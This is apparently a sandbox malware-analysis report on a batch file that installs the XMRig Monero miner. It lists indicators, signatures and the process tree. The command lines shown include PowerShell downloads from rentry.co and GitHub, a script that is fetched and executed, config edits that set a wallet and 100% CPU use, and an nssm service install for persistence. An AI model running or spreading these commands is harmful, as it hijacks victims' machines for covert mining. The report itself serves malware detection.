Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1049s -
max time network
1014s -
platform
windows11-21h2_x64 -
resource
win11-20240611-en -
resource tags
arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system -
submitted
28/06/2024, 22:46 UTC
Static task
static1
Behavioral task
behavioral1
Sample
vers1.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
vers1.bat
Resource
win10v2004-20240508-en
General
-
Target
vers1.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral3/files/0x000100000002aa63-61.dat family_xmrig behavioral3/files/0x000100000002aa63-61.dat xmrig behavioral3/memory/4236-63-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-189-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-190-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-191-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-192-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-193-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-194-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-195-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-196-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-197-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-198-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-199-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-200-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-201-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-202-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-203-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-204-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-205-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-206-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-207-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-208-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-209-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-210-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-211-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-212-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-213-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-214-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-215-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-216-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-217-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-218-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-219-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-220-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-222-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-223-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-224-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-225-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-226-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-227-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-228-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-229-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-230-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-231-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-232-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-233-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-234-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-235-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-236-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-237-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-238-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-239-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-240-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-241-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-242-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-243-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-244-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-245-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-246-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-247-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-248-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-249-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral3/memory/2432-250-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 832 powershell.exe 5 4172 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 4236 xmrig.exe 1552 nssm.exe 1836 nssm.exe 4220 nssm.exe 2212 nssm.exe 4400 nssm.exe 772 nssm.exe 1944 nssm.exe 2432 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com 5 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1312 sc.exe 1364 sc.exe 2948 sc.exe 2892 sc.exe -
pid Process 4172 powershell.exe 1836 powershell.exe 1900 powershell.exe 4212 powershell.exe 3856 powershell.exe 2432 powershell.exe 952 powershell.exe 1880 powershell.exe 4948 powershell.exe 580 powershell.exe 1464 powershell.exe 832 powershell.exe 3564 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4724 timeout.exe 2488 Process not Found 4696 Process not Found 4780 Process not Found 4672 timeout.exe 2100 timeout.exe 2452 Process not Found 4560 Process not Found 2200 timeout.exe 3488 timeout.exe 2740 timeout.exe 3736 timeout.exe 3540 timeout.exe 968 Process not Found 740 Process not Found 4808 timeout.exe 2040 timeout.exe 3872 Process not Found 3460 timeout.exe 768 timeout.exe 3376 timeout.exe 1596 timeout.exe 4300 Process not Found 4384 timeout.exe 3484 Process not Found 1668 Process not Found 4020 timeout.exe 3236 timeout.exe 760 timeout.exe 900 timeout.exe 2904 Process not Found 2676 timeout.exe 836 timeout.exe 1772 timeout.exe 2504 Process not Found 1028 Process not Found 392 Process not Found 4568 Process not Found 2412 timeout.exe 4416 Process not Found 3936 Process not Found 4528 timeout.exe 4448 timeout.exe 2336 timeout.exe 4904 timeout.exe 1340 timeout.exe 1420 timeout.exe 2208 Process not Found 1472 Process not Found 2916 timeout.exe 992 timeout.exe 3616 timeout.exe 3944 timeout.exe 3640 timeout.exe 2544 timeout.exe 5056 Process not Found 764 timeout.exe 408 timeout.exe 3212 Process not Found 3680 Process not Found 3416 timeout.exe 1068 timeout.exe 1412 timeout.exe 3316 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 2336 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 832 powershell.exe 832 powershell.exe 1836 powershell.exe 1836 powershell.exe 2432 powershell.exe 2432 powershell.exe 1900 powershell.exe 1900 powershell.exe 3564 powershell.exe 3564 powershell.exe 1880 powershell.exe 1880 powershell.exe 952 powershell.exe 952 powershell.exe 4948 powershell.exe 4948 powershell.exe 3856 powershell.exe 3856 powershell.exe 580 powershell.exe 580 powershell.exe 1464 powershell.exe 1464 powershell.exe 4172 powershell.exe 4172 powershell.exe 4212 powershell.exe 4212 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 832 powershell.exe Token: SeDebugPrivilege 2336 taskkill.exe Token: SeDebugPrivilege 1836 powershell.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeDebugPrivilege 3564 powershell.exe Token: SeDebugPrivilege 1880 powershell.exe Token: SeDebugPrivilege 952 powershell.exe Token: SeDebugPrivilege 4948 powershell.exe Token: SeDebugPrivilege 3856 powershell.exe Token: SeDebugPrivilege 580 powershell.exe Token: SeDebugPrivilege 1464 powershell.exe Token: SeDebugPrivilege 4172 powershell.exe Token: SeDebugPrivilege 4212 powershell.exe Token: SeLockMemoryPrivilege 2432 xmrig.exe Token: SeIncreaseQuotaPrivilege 2576 WMIC.exe Token: SeSecurityPrivilege 2576 WMIC.exe Token: SeTakeOwnershipPrivilege 2576 WMIC.exe Token: SeLoadDriverPrivilege 2576 WMIC.exe Token: SeSystemProfilePrivilege 2576 WMIC.exe Token: SeSystemtimePrivilege 2576 WMIC.exe Token: SeProfSingleProcessPrivilege 2576 WMIC.exe Token: SeIncBasePriorityPrivilege 2576 WMIC.exe Token: SeCreatePagefilePrivilege 2576 WMIC.exe Token: SeBackupPrivilege 2576 WMIC.exe Token: SeRestorePrivilege 2576 WMIC.exe Token: SeShutdownPrivilege 2576 WMIC.exe Token: SeDebugPrivilege 2576 WMIC.exe Token: SeSystemEnvironmentPrivilege 2576 WMIC.exe Token: SeRemoteShutdownPrivilege 2576 WMIC.exe Token: SeUndockPrivilege 2576 WMIC.exe Token: SeManageVolumePrivilege 2576 WMIC.exe Token: 33 2576 WMIC.exe Token: 34 2576 WMIC.exe Token: 35 2576 WMIC.exe Token: 36 2576 WMIC.exe Token: SeIncreaseQuotaPrivilege 2576 WMIC.exe Token: SeSecurityPrivilege 2576 WMIC.exe Token: SeTakeOwnershipPrivilege 2576 WMIC.exe Token: SeLoadDriverPrivilege 2576 WMIC.exe Token: SeSystemProfilePrivilege 2576 WMIC.exe Token: SeSystemtimePrivilege 2576 WMIC.exe Token: SeProfSingleProcessPrivilege 2576 WMIC.exe Token: SeIncBasePriorityPrivilege 2576 WMIC.exe Token: SeCreatePagefilePrivilege 2576 WMIC.exe Token: SeBackupPrivilege 2576 WMIC.exe Token: SeRestorePrivilege 2576 WMIC.exe Token: SeShutdownPrivilege 2576 WMIC.exe Token: SeDebugPrivilege 2576 WMIC.exe Token: SeSystemEnvironmentPrivilege 2576 WMIC.exe Token: SeRemoteShutdownPrivilege 2576 WMIC.exe Token: SeUndockPrivilege 2576 WMIC.exe Token: SeManageVolumePrivilege 2576 WMIC.exe Token: 33 2576 WMIC.exe Token: 34 2576 WMIC.exe Token: 35 2576 WMIC.exe Token: 36 2576 WMIC.exe Token: SeIncreaseQuotaPrivilege 1032 WMIC.exe Token: SeSecurityPrivilege 1032 WMIC.exe Token: SeTakeOwnershipPrivilege 1032 WMIC.exe Token: SeLoadDriverPrivilege 1032 WMIC.exe Token: SeSystemProfilePrivilege 1032 WMIC.exe Token: SeSystemtimePrivilege 1032 WMIC.exe Token: SeProfSingleProcessPrivilege 1032 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2432 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 692 wrote to memory of 832 692 cmd.exe 79 PID 692 wrote to memory of 832 692 cmd.exe 79 PID 832 wrote to memory of 4076 832 powershell.exe 80 PID 832 wrote to memory of 4076 832 powershell.exe 80 PID 4076 wrote to memory of 1020 4076 cmd.exe 81 PID 4076 wrote to memory of 1020 4076 cmd.exe 81 PID 1020 wrote to memory of 404 1020 net.exe 82 PID 1020 wrote to memory of 404 1020 net.exe 82 PID 4076 wrote to memory of 4212 4076 cmd.exe 83 PID 4076 wrote to memory of 4212 4076 cmd.exe 83 PID 4076 wrote to memory of 2508 4076 cmd.exe 84 PID 4076 wrote to memory of 2508 4076 cmd.exe 84 PID 4076 wrote to memory of 4884 4076 cmd.exe 85 PID 4076 wrote to memory of 4884 4076 cmd.exe 85 PID 4076 wrote to memory of 1536 4076 cmd.exe 86 PID 4076 wrote to memory of 1536 4076 cmd.exe 86 PID 4076 wrote to memory of 868 4076 cmd.exe 87 PID 4076 wrote to memory of 868 4076 cmd.exe 87 PID 4076 wrote to memory of 1312 4076 cmd.exe 88 PID 4076 wrote to memory of 1312 4076 cmd.exe 88 PID 4076 wrote to memory of 1364 4076 cmd.exe 89 PID 4076 wrote to memory of 1364 4076 cmd.exe 89 PID 4076 wrote to memory of 2336 4076 cmd.exe 90 PID 4076 wrote to memory of 2336 4076 cmd.exe 90 PID 4076 wrote to memory of 1836 4076 cmd.exe 92 PID 4076 wrote to memory of 1836 4076 cmd.exe 92 PID 4076 wrote to memory of 2432 4076 cmd.exe 117 PID 4076 wrote to memory of 2432 4076 cmd.exe 117 PID 4076 wrote to memory of 1900 4076 cmd.exe 94 PID 4076 wrote to memory of 1900 4076 cmd.exe 94 PID 4076 wrote to memory of 4236 4076 cmd.exe 95 PID 4076 wrote to memory of 4236 4076 cmd.exe 95 PID 4076 wrote to memory of 1040 4076 cmd.exe 96 PID 4076 wrote to memory of 1040 4076 cmd.exe 96 PID 1040 wrote to memory of 3564 1040 cmd.exe 97 PID 1040 wrote to memory of 3564 1040 cmd.exe 97 PID 3564 wrote to memory of 5056 3564 powershell.exe 98 PID 3564 wrote to memory of 5056 3564 powershell.exe 98 PID 4076 wrote to memory of 1880 4076 cmd.exe 99 PID 4076 wrote to memory of 1880 4076 cmd.exe 99 PID 4076 wrote to memory of 952 4076 cmd.exe 100 PID 4076 wrote to memory of 952 4076 cmd.exe 100 PID 4076 wrote to memory of 4948 4076 cmd.exe 101 PID 4076 wrote to memory of 4948 4076 cmd.exe 101 PID 4076 wrote to memory of 3856 4076 cmd.exe 102 PID 4076 wrote to memory of 3856 4076 cmd.exe 102 PID 4076 wrote to memory of 580 4076 cmd.exe 103 PID 4076 wrote to memory of 580 4076 cmd.exe 103 PID 4076 wrote to memory of 1464 4076 cmd.exe 104 PID 4076 wrote to memory of 1464 4076 cmd.exe 104 PID 4076 wrote to memory of 4172 4076 cmd.exe 105 PID 4076 wrote to memory of 4172 4076 cmd.exe 105 PID 4076 wrote to memory of 4212 4076 cmd.exe 106 PID 4076 wrote to memory of 4212 4076 cmd.exe 106 PID 4076 wrote to memory of 2948 4076 cmd.exe 107 PID 4076 wrote to memory of 2948 4076 cmd.exe 107 PID 4076 wrote to memory of 2892 4076 cmd.exe 108 PID 4076 wrote to memory of 2892 4076 cmd.exe 108 PID 4076 wrote to memory of 1552 4076 cmd.exe 109 PID 4076 wrote to memory of 1552 4076 cmd.exe 109 PID 4076 wrote to memory of 1836 4076 cmd.exe 110 PID 4076 wrote to memory of 1836 4076 cmd.exe 110 PID 4076 wrote to memory of 4220 4076 cmd.exe 111 PID 4076 wrote to memory of 4220 4076 cmd.exe 111
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vers1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6FD1.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:404
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:4212
-
-
C:\Windows\system32\where.exewhere find4⤵PID:2508
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:4884
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:1536
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:868
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:1312
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:1364
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2336
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1836
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2432
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:1040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:5056
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:952
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Uoecdfvi\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4948
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3856
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:580
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1464
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4172
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4212
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:2948
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2892
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:1552
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:1836
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:4220
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:2212
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:4400
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:772
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:976
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1536
-
